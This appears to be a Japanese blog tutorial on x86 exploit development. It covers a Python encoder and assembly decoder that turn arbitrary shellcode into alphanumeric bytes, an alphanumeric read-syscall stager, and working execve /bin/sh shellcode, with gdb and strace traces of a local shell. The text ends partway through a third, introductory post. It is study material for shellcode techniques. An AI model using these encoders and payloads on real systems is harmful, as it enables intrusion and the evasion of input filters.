x86 alphanumeric shellcode encoderを書いてみる
「x86 alphanumeric shellcodeを書いてみる」では、主にxorを使いシェルコードを展開した。 ここで使わなかった命令としてcmp命令、jmp系命令、imul命令があるが、これらも使うとより短いalphanumeric shellcodeを作ることができる。 ここでは、ALPHA3エンコーダの実装を参考に、任意のシェルコードをalphanumeric shellcodeに変換するエンコーダを書いてみる。
エンコーダの概要
x86においてはjmp系命令を使うことができるため、1バイトずつデコードするループを作ることができる。
また、「x86 alphanumeric shellcodeを書いてみる」でも触れたように、alphanumericなバイト同士のxorだけでは最上位ビットが1のバイト(0x80-0xff)を作ることができない。
先のエントリではxorで必要に応じて反転させていたが、imul命令を使うとより一般的な形で任意のバイトを作ることができる。
具体的には、あるxに対してx ^ (y*0x30) ^ z
の形で適当なy、zを与えることで、任意のバイトを作る。
ここでは、まず任意のシェルコードをalphanumericなバイト列に変換するエンコーダを書く。 次に、これのデコーダをアセンブリコードで書き、最後にこれらを繋げて最終的なシェルコードを出力するフルエンコーダを作る。
Pythonでエンコーダを書いてみる
まずは、上で説明した方法でシェルコードを変換するエンコーダを書いてみる。
# alnum_encoder.py import sys first_byte = int(sys.argv[1], 16) chars = range(0x30,0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b) pairs = [(y, z) for y in chars for z in chars] data = chr(first_byte) data += sys.stdin.read() data += '\x00' encoded = [0x30] print >>sys.stderr, "[+] %02x" % encoded[0] for i, c in enumerate(data): original_byte = ord(c) x = encoded[i] for y, z in pairs: if (x^(y*0x30)^z) & 0xFF == original_byte: print >>sys.stderr, "[+] %02x: %02x %02x" % (original_byte, y, z) encoded += [y, z] break else: raise Exception("something wrong: %02x" % original_byte) print bytearray(encoded)
このコードは標準入力からシェルコードを受け取るのと同時に、追加で生成する先頭1バイトの値を引数に取る。 この1バイトは、後述するデコーダのループ部の構築に利用する。 また、シェルコードの後にも0x00を追加している。 これは、デコーダにおけるループの終了判定に使う。
処理の内容としては、1バイトずつ総当たりで条件を満たすy, zを探索している。 ここで、計算のベースとなるxはすでにエンコード済みのバイト列から1バイトずつ順に利用している。 こうすることで、1つのバイトのエンコードのために新たに必要なバイトは2バイトとなる。
普通のシェルコードをファイルに書き出し、エンコードしてみる。
$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve $ cat execve | python alnum_encoder.py 0x90 [+] 30 [+] 90: 33 30 [+] 31: 31 32 [+] d2: 33 72 [+] 52: 30 63 [+] 68: 30 5a [+] 2f: 37 4c [+] 2f: 31 6d [+] 73: 30 43 [+] 68: 32 6b [+] 68: 30 58 [+] 2f: 30 75 [+] 62: 30 55 [+] 69: 32 45 [+] 6e: 31 6f [+] 89: 33 74 [+] e3: 33 43 [+] 52: 32 71 [+] 53: 30 61 [+] 89: 33 72 [+] e1: 33 41 [+] 8d: 33 45 [+] 42: 30 72 [+] 0b: 31 4e [+] cd: 33 6d [+] 80: 33 45 [+] 00: 30 32 030123r0c0Z7L1m0C2k0X0u0U2E1o3t3C2q0a3r3A3E0r1N3m3E02
出力からわかるように、このエンコーダはnバイトの入力を2*n+5バイトに変換する。
アセンブリでデコーダを書いてみる
次に、エンコードされたバイト列を元に戻すデコーダをアセンブリで書いてみる。
/* alnum_decoder.s */ .intel_syntax noprefix .globl _start _start: push eax pop ecx /* esi = -0x30 + 0x1a - 1 = -23 = 0xffffffe9 */ push 0x33333333 .byte 0x6b, 0x34, 0x64, 0x73 /* imul esi, [esp+2*eiz], 0x73 */ decoder: inc esi imul eax, [ecx+2*esi-0x1a+0x61], 0x30 xor al, [ecx+2*esi-0x1a+0x62] xor [ecx+esi+0x30], al .byte 0x75 /* jne decoder = 75 f0 */ data: /* encoded data here (offset 0x1a) */
このコードはeaxレジスタに先頭のアドレスが入っていることを前提とする。
eax以外のレジスタの場合は、最初のpush eax
に対応する1バイトを書き換えればよい。
また、最後の部分にはエンコードされたバイト列を置く。
デコーダはこれらを1バイトずつデコードしていき、0x00が出力されたタイミングでループを抜け、デコードされたシェルコードに処理を移す。
このコードは、SIBにおけるindexレジスタがesiのときのみscaleに2だけでなく1も使えることに着目し、esiをカウンタとして使う。
さらに、esiの初期値のセットにpush imm32
とimul esi, [esp+2*eiz], imm8
を使う。
eizはSIBバイトにてscaleが0以外かつindexレジスタが存在しない場合において擬似的に表示されるレジスタ名である。
通常imul esi, [esp], imm8
は6B 34 24 imm8
とアセンブルされalphanumericにならないが、意図的にこの形を用いることでalphanumericにできる。
ただし、アセンブリ構文としてeizレジスタを書くことはできないので、ここでは対応するバイト列を直接記述している。
esiの初期値を作るために必要な値は次のスクリプトを使って調べた。
# decomposite.py import sys target = int(sys.argv[1], 16) chars = range(0x30, 0x3a) + range(0x40, 0x5b) + range(0x60, 0x7b) pairs = [(x, y) for x in chars for y in chars] for x, y in pairs: for i in range(0x100): if ((x*y) & 0xFF == 0xFF-i) and ((x*y)>>8 == i): x *= 0x01010101 # 0x41 => 0x41414141 if (x*y) & 0xFFFFFFFF == target: print "%08x * %02x == %08x" % (x, y, x*y)
このコードは目的となる初期値を引数に取り、総当たりで条件を満たす値の組み合わせを探索する。
$ python decomposite.py 0xffffffe9 33333333 * 73 == 16ffffffe9 45454545 * 55 == 16ffffffe9 55555555 * 45 == 16ffffffe9 73737373 * 33 == 16ffffffe9
ここでは、一番上の組み合わせを利用した。
ループでは、カウンタであるesiをインクリメントしながら、対応するx, y, zを用いて1バイトずつデコードしていく。 ループの終了条件にはxorの結果が0となったときZero flagが立つことを利用し、jne命令にて分岐を行う。 ここで、jne命令の相対アドレス指定は負数となるため、この部分のバイト(0xf0)もデコーダに作らせるようにする。
アセンブルしてバイト列を確認すると、すべてalphanumericにできていることがわかる。
$ gcc -nostdlib alnum_decoder.s $ objdump -d a.out 08048098 <_start>: 8048098: 50 push eax 8048099: 59 pop ecx 804809a: 68 33 33 33 33 push 0x33333333 804809f: 6b 34 64 73 imul esi,DWORD PTR [esp+eiz*2],0x73 080480a3 <decoder>: 80480a3: 46 inc esi 80480a4: 6b 44 71 47 30 imul eax,DWORD PTR [ecx+esi*2+0x47],0x30 80480a9: 32 44 71 48 xor al,BYTE PTR [ecx+esi*2+0x48] 80480ad: 30 44 31 30 xor BYTE PTR [ecx+esi*1+0x30],al 80480b1: 75 .byte 0x75 $ objdump -s a.out a.out: file format elf32-i386 Contents of section .note.gnu.build-id: 8048074 04000000 14000000 03000000 474e5500 ............GNU. 8048084 a7de8288 295ebbb2 04c34dbe e1a3eb6c ....)^....M....l 8048094 6dd82455 m.$U Contents of section .text: 8048098 50596833 3333336b 34647346 6b447147 PYh3333k4dsFkDqG 80480a8 30324471 48304431 3075 02DqH0D10u $ strings -n8 a.out PYh3333k4dsFkDqG02DqH0D10u
このshellcode decoderのサイズは26バイトである。
シェルコードにジャンプさせてみる
最初の1バイトを0xf0とした上で、普通のシェルコードをエンコードすると次のようになる。
$ cat execve | python alnum_encoder.py 0xf0 [+] 30 [+] f0: 33 50 [+] 31: 31 32 [+] d2: 34 42 [+] 52: 30 63 [+] 68: 30 5a [+] 2f: 37 4b [+] 2f: 30 6d [+] 73: 30 43 [+] 68: 32 6b [+] 68: 30 58 [+] 2f: 30 75 [+] 62: 30 55 [+] 69: 32 42 [+] 6e: 31 6e [+] 89: 33 74 [+] e3: 33 43 [+] 52: 32 71 [+] 53: 30 61 [+] 89: 33 72 [+] e1: 33 41 [+] 8d: 33 45 [+] 42: 30 72 [+] 0b: 31 4e [+] cd: 33 6d [+] 80: 33 45 [+] 00: 30 32 03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02
第一引数に与えたシェルコードにジャンプするコードを書いてみる。
/* loader.c */ int main(int argc, char *argv[]) { (*(void (*)())argv[1])(); }
DEP無効にてコンパイルし、デコーダとエンコード済みバイト列を繋げたものを引数として実行してみる。
$ gcc -z execstack loader.c $ decoder=PYh3333k4dsFkDqG02DqH0D10u $ data=03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02 $ ./a.out "$decoder$data" $ id uid=1000(user) gid=1000(user) groups=1000(user) $
デコーダによりシェルコードが展開され、シェルが起動できていることが確認できた。
gdbで動作を確認してみる
実行時の動作をgdbを使って調べてみる。
--args
オプションを使い、引数を与えた状態でgdbを起動する。
次に、シェルコードにジャンプする直前まで処理を進めてみる。
$ gdb -q --args a.out "$decoder$data" Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x80483b7 Starting program: /home/user/tmp/a.out PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02 Temporary breakpoint 1, 0x080483b7 in main () (gdb) disp/i $pc 1: x/i $pc => 0x80483b7 <main+3>: and esp,0xfffffff0 (gdb) disas Dump of assembler code for function main: 0x080483b4 <+0>: push ebp 0x080483b5 <+1>: mov ebp,esp => 0x080483b7 <+3>: and esp,0xfffffff0 0x080483ba <+6>: mov eax,DWORD PTR [ebp+0xc] 0x080483bd <+9>: add eax,0x4 0x080483c0 <+12>: mov eax,DWORD PTR [eax] 0x080483c2 <+14>: call eax 0x080483c4 <+16>: leave 0x080483c5 <+17>: ret End of assembler dump. (gdb) u *main+14 0x080483c2 in main () 1: x/i $pc => 0x80483c2 <main+14>: call eax
シェルコードにジャンプし、最初の1バイトのデコード前と後の様子を調べてみる。
(gdb) si 0xbffff91e in ?? () 1: x/i $pc => 0xbffff91e: push eax (gdb) x/10i $pc => 0xbffff91e: push eax 0xbffff91f: pop ecx 0xbffff920: push 0x33333333 0xbffff925: imul esi,DWORD PTR [esp+eiz*2],0x73 0xbffff929: inc esi 0xbffff92a: imul eax,DWORD PTR [ecx+esi*2+0x47],0x30 0xbffff92f: xor al,BYTE PTR [ecx+esi*2+0x48] 0xbffff933: xor BYTE PTR [ecx+esi*1+0x30],al 0xbffff937: jne 0xbffff969 0xbffff939: xor edx,DWORD PTR [eax+0x31] (gdb) b *0xbffff933 Breakpoint 2 at 0xbffff933 (gdb) c Continuing. Breakpoint 2, 0xbffff933 in ?? () 1: x/i $pc => 0xbffff933: xor BYTE PTR [ecx+esi*1+0x30],al (gdb) x/2bx $ecx+$esi*2+0x47 0xbffff939: 0x33 0x50 (gdb) x/bx $ecx+$esi+0x30 0xbffff938: 0x30 (gdb) si 0xbffff937 in ?? () 1: x/i $pc => 0xbffff937: jne 0xbffff929 (gdb) x/bx $ecx+$esi+0x30 0xbffff938: 0xf0
最初jne 0xbffff969
だった箇所が、デコード後jne 0xbffff929
になっていることがわかる。
ここで、0xbffff929はinc esi
のあるアドレスであり、ループが完成している。
これは、0x30 ^ (0x33*0x30) ^ 0x50 == 0x9f0
が実行され、alレジスタに対応する0xf0
が75の後に書き込まれたためである。
次のループも確認してみる。
(gdb) c Continuing. Breakpoint 2, 0xbffff933 in ?? () 1: x/i $pc => 0xbffff933: xor BYTE PTR [ecx+esi*1+0x30],al (gdb) x/2bx $ecx+$esi*2+0x47 0xbffff93b: 0x31 0x32 (gdb) x/bx $ecx+$esi+0x30 0xbffff939: 0x33 (gdb) si 0xbffff937 in ?? () 1: x/i $pc => 0xbffff937: jne 0xbffff929 (gdb) x/bx $ecx+$esi+0x30 0xbffff939: 0x31
ここでは、0x33 ^ (0x31*0x30) ^ 0x32 == 0x931
が実行され、alレジスタに対応する0x31
が次の場所に書き込まれている。
これは与えたシェルコードの1バイト目である。
以降、esiをインクリメントしながら1バイトずつ書き込みが行われていき、0x00
が書き込まれたタイミングでループを抜けることになる。
ブレークポイントを設定し直し、デコードされた後の様子を調べてみる。
(gdb) d Delete all breakpoints? (y or n) y (gdb) b *0xbffff939 Breakpoint 3 at 0xbffff939 (gdb) c Continuing. Breakpoint 3, 0xbffff939 in ?? () 1: x/i $pc => 0xbffff939: xor edx,edx (gdb) x/10i $pc => 0xbffff939: xor edx,edx 0xbffff93b: push edx 0xbffff93c: push 0x68732f2f 0xbffff941: push 0x6e69622f 0xbffff946: mov ebx,esp 0xbffff948: push edx 0xbffff949: push ebx 0xbffff94a: mov ecx,esp 0xbffff94c: lea eax,[edx+0xb] 0xbffff94f: int 0x80 (gdb) c Continuing. process 2299 is executing new program: /bin/dash $ [Inferior 1 (process 2299) exited normally] (gdb) quit
0x00が書き込まれた結果ループを抜け、デコードされたシェルコードに処理が移っていることがわかる。
バッファのアドレスが入ったレジスタがない場合を考える
上で作ったデコーダはeaxレジスタに先頭アドレスが入っていることを前提としていた。 Metaploitのx86/alpha_mixedエンコーダにならい、このようなレジスタが使えない場合についても考えてみる。
call命令が直後の命令の置かれたアドレスをスタックに積むことを利用し、ecxに先頭アドレスをセットするコードを書くと次のようになる。
/* alnum_decoder2.s */ .intel_syntax noprefix .globl _start _start: jmp caller callee: jmp base caller: call callee base: pop ecx inc esi /* padding */ /* esi = -0x30 + 0x1a - 1 = -23 = 0xffffffe9 */ push 0x33333333 .byte 0x6b, 0x34, 0x64, 0x73 /* imul esi, [esp+2*eiz], 0x73 */ decoder: inc esi imul eax, [ecx+2*esi-0x1a+0x61], 0x30 xor al, [ecx+2*esi-0x1a+0x62] xor [ecx+esi+0x30], al .byte 0x75 /* jne decoder = 75 f0 */ data: /* encoded data here (offset 0x1a) */
ここでは先に書いたコードとオフセットが一致するように、パディングを加えている。
アセンブルしてバイト列を確認してみると、次のようになる。
$ gcc -nostdlib alnum_decoder2.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x59\x46\x68\x33\x33\x33\x33\x6b\x34\x64\x73\x46\x6b\x44\x71\x47\x30\x32\x44\x71\x48\x30\x44\x31\x30\x75 $ python Python 2.7.3 (default, Feb 27 2014, 20:00:17) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x59\x46\x68\x33\x33\x33\x33\x6b\x34\x64\x73\x46\x6b\x44\x71\x47\x30\x32\x44\x71\x48\x30\x44\x31\x30\x75' '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u' >>> len(_) 35 >>>
この場合のshellcode encoderのサイズは35バイトである。 また、alphanumericなコードにはならない。
エンコード済みシェルコードと繋げ、実行させてみると次のようになる。
$ gcc -z execstack loader.c $ decoder=$'\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u' $ data=03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02 $ ./a.out "$decoder$data" $ id uid=1000(user) gid=1000(user) groups=1000(user) $
call命令とpop命令によりシェルコードが置かれたアドレスが解決され、シェルが起動できていることがわかる。
フルエンコーダを書いてみる
最後に、シェルコードをエンコードした上でデコーダと繋げるフルエンコーダを書いてみる。
# alnum_encode.py import sys buffer_register = sys.argv[1] if len(sys.argv) > 1 else None chars = range(0x30,0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b) pairs = [(y, z) for y in chars for z in chars] regs = ['eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi'] data = '\xf0' data += sys.stdin.read() data += '\x00' encoded = [0x30] print >>sys.stderr, "[+] %02x" % encoded[0] for i, c in enumerate(data): original_byte = ord(c) x = encoded[i] for y, z in pairs: if (x^(y*0x30)^z) & 0xFF == original_byte: print >>sys.stderr, "[+] %02x: %02x %02x" % (original_byte, y, z) encoded += [y, z] break else: raise Exception("something wrong: %02x" % original_byte) if buffer_register: try: r = regs.index(buffer_register.lower()) except ValueError: raise Exception("unsupported register: %s" % buffer_register) # push reg; pop ecx print >>sys.stderr, "[+] using buffer register: %s" % buffer_register buf = chr(0x50+r) + 'Y' else: # set ecx by using call print >>sys.stderr, "[+] not using buffer register" buf = '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYF' buf += 'h3333k4dsFkDqG02DqH0D10u' buf += str(bytearray(encoded)) print >>sys.stderr, "[+] encoded %d bytes => %d bytes" % (len(data)-2, len(buf)) print repr(buf)
このコードは引数にシェルコードの先頭アドレスが入っているレジスタ名を取る。 また、引数を与えなかった場合は、call命令により先頭アドレスを取得するデコーダを使う。
普通のシェルコードを入力とし、実行してみると次のようになる。
$ cat execve | python alnum_encode.py eax [+] 30 [+] f0: 33 50 [+] 31: 31 32 [+] d2: 34 42 [+] 52: 30 63 [+] 68: 30 5a [+] 2f: 37 4b [+] 2f: 30 6d [+] 73: 30 43 [+] 68: 32 6b [+] 68: 30 58 [+] 2f: 30 75 [+] 62: 30 55 [+] 69: 32 42 [+] 6e: 31 6e [+] 89: 33 74 [+] e3: 33 43 [+] 52: 32 71 [+] 53: 30 61 [+] 89: 33 72 [+] e1: 33 41 [+] 8d: 33 45 [+] 42: 30 72 [+] 0b: 31 4e [+] cd: 33 6d [+] 80: 33 45 [+] 00: 30 32 [+] using buffer register: eax [+] encoded 24 bytes => 79 bytes 'PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02' $ cat execve | python alnum_encode.py [+] 30 [+] f0: 33 50 [+] 31: 31 32 [+] ... [+] 00: 30 32 [+] not using buffer register [+] encoded 24 bytes => 88 bytes '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02'
ここで生成されたコードは、先に動作を確認したものと同じである。
関連リンク
x86 alphanumeric shellcode stagerを書いてみる
「x86 alphanumeric shellcodeを書いてみる」では、アルファベットと数字のみを使ったシェルコードでシェル起動を行った。 任意のシェルコードを実行する場合も同様にしてalphanumericな形に変換すればよいが、別の方法としてshellcode stagerを使うこともできる。 具体的には、alphanumeric shellcodeで入力を受け付け、そこに追加で送り込んだシェルコードに処理を移すことで、任意のシェルコード実行を行う。 ここでは、alphanumericなshellcode stagerを作り、任意のシェルコード実行をやってみる。
shellcode stagerを書いてみる
まずは、readシステムコールを使い標準入力からデータを読み込むshellcode stagerを書いてみる。
/* stager.s */ .intel_syntax noprefix .globl _start _start: /* read(0, _start+17, 65536) */ xor ebx, ebx lea edx, [ebx+1] shl edx, 16 lea ecx, [esp+17] /* assume esp = _start */ lea eax, [ebx+3] int 0x80
上のコードは、実行時にespがシェルコードの先頭を指していることを前提とした上で、int 0x80
の次に標準入力から読み込んだシェルコードを置くものである。
アセンブルしてバイト列に変換すると次のようになる。
$ gcc -nostdlib stager.s $ objdump -M intel -d a.out 08048098 <_start>: 8048098: 31 db xor ebx,ebx 804809a: 8d 53 01 lea edx,[ebx+0x1] 804809d: c1 e2 10 shl edx,0x10 80480a0: 8d 4c 24 11 lea ecx,[esp+0x11] 80480a4: 8d 43 03 lea eax,[ebx+0x3] 80480a7: cd 80 int 0x80 $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80
このshellcode stagerをスタック上に置き、ジャンプするプログラムを書くと次のようになる。
/* shellcode.c */ int main() { char shellcode[] = "\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80"; __asm__("mov esp, %0\n\t" "jmp esp" : : "r" (shellcode)); }
ここでは、espにシェルコードの先頭アドレスが入るようにGNUインラインアセンブラを使っている。
GNUインラインアセンブラがintel記法で解釈されるよう-masm=intel
オプションを付け、DEP無効でコンパイルしてみる。
さらに、普通のシェルコードを標準入力から送り込み実行してみる。
$ gcc -masm=intel -z execstack shellcode.c $ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve $ (cat execve; cat) | ./a.out id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
shellcode stagerが標準入力から与えたシェルコードを読み込み、シェルが起動できていることが確認できた。
straceで動作を確認してみる
straceコマンドを使い、上でシェル起動が行われるときのシステムコール呼び出しをトレースしてみる。
$ (cat execve; cat) | strace ./a.out execve("./a.out", ["./a.out"], [/* 17 vars */]) = 0 ... read(0, "1\322Rh//shh/bin\211\343RS\211\341\215B\v\315\200", 65536) = 24 execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 ... read(0, " [CTRL+D] ", 8192) = 0 exit_group(0) = ?
readシステムコールにより標準入力からシェルコードが読み込まれ、そのシェルコードが実行されていることが確認できる。
alphanumeric shellcodeにしてみる
「x86 alphanumeric shellcodeを書いてみる」と同様の方法で、shellcode stagerをalphanumericな形に書き換えてみる。
$ echo -en "\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80" | od -tx4z 0000000 538ddb31 10e2c101 11244c8d cd03438d >1..S.....L$..C..< 0000020 00000080 >.< 0000021
/* alnum_stager.s */ .intel_syntax noprefix .globl _start _start: /* set buffer register to ecx */ push eax pop ecx prepare_registers: push 0x30 pop eax xor al, 0x30 /* omit eax, ecx */ push eax /* edx = 0 */ push eax /* ebx = 0 */ push eax push eax push ecx /* esi = buffer */ push eax popad dec edx /* edx = 0xffffffff */ patch_ret: /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */ push edx pop eax xor al, 0x44 xor [esi+0x6e], al build_stack: /* push 0x80 */ push edx pop eax xor al, 0x30 xor al, 0x4f push eax /* push 0xcd03438d */ push edx pop eax xor eax, 0x41303030 xor eax, 0x73337342 push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x11244c8d */ push ebx pop eax xor eax, 0x41413430 xor eax, 0x50657842 push eax push esp pop ecx xor [ecx], dh /* push 0x10e2c101 */ push ebx pop eax xor eax, 0x41444430 xor eax, 0x51597a31 push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x538ddb31 */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x63426570 push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh push esp ret: .byte 0x78
このコードは、eaxレジスタにシェルコードの先頭アドレスが入っていることを前提とする。
eaxレジスタ以外に先頭アドレスが入っている場合は、push eax
に対応する最初の1バイトを書き換える。
アセンブルしてバイト列を確認すると、すべてアルファベットと数字にできていることが確認できる。
$ gcc -nostdlib alnum_stager.s $ objdump -s a.out a.out: file format elf32-i386 Contents of section .note.gnu.build-id: 8048074 04000000 14000000 03000000 474e5500 ............GNU. 8048084 97268d23 84635593 60a48ca1 e12fbe50 .&.#.cU.`..../.P 8048094 cc5be53b .[.; Contents of section .text: 8048098 50596a30 58343050 50505051 50614a52 PYj0X40PPPPQPaJR 80480a8 58344430 466e5258 3430344f 50525835 X4D0FnRX404OPRX5 80480b8 30303041 35427333 73505459 41303141 000A5Bs3sPTYA01A 80480c8 30315358 35303441 41354278 65505054 01SX504AA5BxePPT 80480d8 59303153 58353044 44413531 7a595150 Y01SX50DDA51zYQP 80480e8 54594130 31413031 53583541 41303035 TYA01A01SX5AA005 80480f8 70654263 50545941 30314130 315478 peBcPTYA01A01Tx $ strings -n8 a.out PYj0X40PPPPQPaJRX4D0FnRX404OPRX5000A5Bs3sPTYA01A01SX504AA5BxePPTY01SX50DDA51zYQPTYA01A01SX5AA005peBcPTYA01A01Tx
このシェルコードの長さは111バイトである。
できあがったシェルコードをスタック上に置き、ジャンプするプログラムを書くと次のようになる。
/* shellcode2.c */ int main() { char shellcode[] = "PYj0X40PPPPQPaJRX4D0FnRX404OPRX5000A5Bs3sPTYA01A01SX504AA5BxePPTY01SX50DDA51zYQPTYA01A01SX5AA005peBcPTYA01A01Tx"; (*(void (*)())shellcode)(); }
DEP無効でコンパイルし、最初の例と同様に普通のシェルコードを標準入力から送り込んで実行してみる。
$ gcc -z execstack shellcode2.c $ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve $ (cat execve; cat) | ./a.out id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
alphanumericなshellcode stagerから、任意のシェルコードが実行できていることが確認できた。
関連リンク
x86 alphanumeric shellcodeを書いてみる
Linux x86環境を対象に、アルファベットと数字のみからなるシェルコードを書いてみる。 このようなシェルコードはalphanumeric shellcodeと呼ばれる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
使える命令を調べてみる
まずは、アルファベットと数字に対応するASCIIコードを調べてみる。
$ man ascii NAME ascii - ASCII character set encoded in octal, decimal, and hexadecimal DESCRIPTION ... Tables For convenience, let us give more compact tables in hex and decimal. 2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120 ------------- --------------------------------- 0: 0 @ P ` p 0: ( 2 < F P Z d n x 1: ! 1 A Q a q 1: ) 3 = G Q [ e o y 2: " 2 B R b r 2: * 4 > H R \ f p z 3: # 3 C S c s 3: ! + 5 ? I S ] g q { 4: $ 4 D T d t 4: " , 6 @ J T ^ h r | 5: % 5 E U e u 5: # - 7 A K U _ i s } 6: & 6 F V f v 6: $ . 8 B L V ` j t ~ 7: ´ 7 G W g w 7: % / 9 C M W a k u DEL 8: ( 8 H X h x 8: & 0 : D N X b l v 9: ) 9 I Y i y 9: ´ 1 ; E O Y c m w A: * : J Z j z B: + ; K [ k { C: , < L \ l | D: - = M ] m } E: . > N ^ n ~ F: / ? O _ o DEL
上の表から、0-9, A-Z, a-zがそれぞれ0x30-0x39, 0x41-0x5a, 0x61-0x7aに対応していることがわかる。 これをもとにx86のオペコードテーブルを見ると、次のような命令が使えることがわかる。
30 XOR r/m8 r8 31 XOR r/m16/32 r16/32 32 XOR r8 r/m8 33 XOR r16/32 r/m16/32 34 XOR AL imm8 35 XOR eAX imm16/32 38 CMP r/m8 r8 39 CMP r/m16/32 r16/32 40+r INC r16/32 (except for eax) 48+r DEC r16/32 50+r PUSH r16/32 58+r POP r16/32 (only for eax, ecx, edx) 61 POPAD 68 PUSH imm16/32 69 IMUL r16/32 r/m16/32 imm16/32 6a PUSH imm8 6b IMUL r16/32 r/m16/32 imm8 70-7a JO/JNO/JB/JNB/JZ/JNZ/JNA/JA/JS/JNS/JP rel8
ここで、r8はalなどの8ビットレジスタ(register)、imm8は0x41などの8ビット即値(immediate value)、r/m8は8bitアドレッシングモード指定(register or memory)、rel8は8ビット相対アドレス指定(relative address)を意味する。
アドレッシングモード指定とは、[eax+0x4]
や[ecx+2*eax+0x4]
のような指定のことである。
また、x86においてレジスタはeax, ecx, edx, ebx, esp, ebp, esi, ediの順で扱われる。 そのため、inc命令はeaxレジスタには使えない。 なぜなら、対応するオペコードが0x40 (@) となりアルファベットにならないためである。 同様の理由により、pop命令に使えるレジスタはeax, ecx, edxのみとなる。
xor命令についてはさまざまな指定が可能である。 ここでは、次の3つのパターンを利用する。 r/m8の指定に使うModR/Mバイト、SIBバイトについては次のページが参考になる。
$ echo "xor eax, 0x41424344" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 35444342 xor eax,0x41424344 1 41
35 = XOR eAX imm16/32 44 43 42 41 = imm32
$ echo "xor [ecx], dh" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 3031 xor [ecx],dh
30 = XOR r/m8 r8 31 = 00110001 mod = 00 ([reg]) reg = 110 (dh) r/m = 001 (ecx)
$ echo "xor [esi+2*ecx+0x41], al" | as -msyntax=intel -mnaked-reg -aln -o /dev/null 1 0000 30444E41 xor [esi+2*ecx+0x41],al
30 = XOR r/m8 r8 44 = 01000100 mod = 01 ([reg+disp8]) reg = 000 (al) r/m = 100 (SIB) 4E = 01001110 scale = 01 (2) index = 001 (ecx) base = 110 (esi) 41 = disp8
以上をもとに、シェルコードを書くのに使える操作をまとめると次のようになる。
push imm32
、pop imm32
を使い、即値をレジスタにセットするpopad
を使い、eax, ecx, edx以外のレジスタに値をセットするinc r32
、dec r32
を使い、1ずつレジスタの値を増減させるxor imm32
を使い、レジスタの値をxorするxor r/m8 r8
を使い、スタックに置いた値をバイトごとにxorする
popにはeax、ecx、ebxしか使えないため、これらがメインに使うレジスタとなる。
pushでシェルコードをスタックに積むコードを書いてみる
とりあえず、push命令で普通のシェルコードをスタック上に並べ、jmp espで実行するコードを書いてみる。
$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve $ od -tx4z execve 0000000 6852d231 68732f2f 69622f68 52e3896e >1.Rh//shh/bin..R< 0000020 8de18953 80cd0b42 >S...B...< 0000030
/* test.s */ .intel_syntax noprefix .globl _start _start: push 0x80cd0b42 push 0x8de18953 push 0x52e3896e push 0x69622f68 push 0x68732f2f push 0x6852d231 jmp esp
アセンブルして実行すると、シェルが起動できていることがわかる。
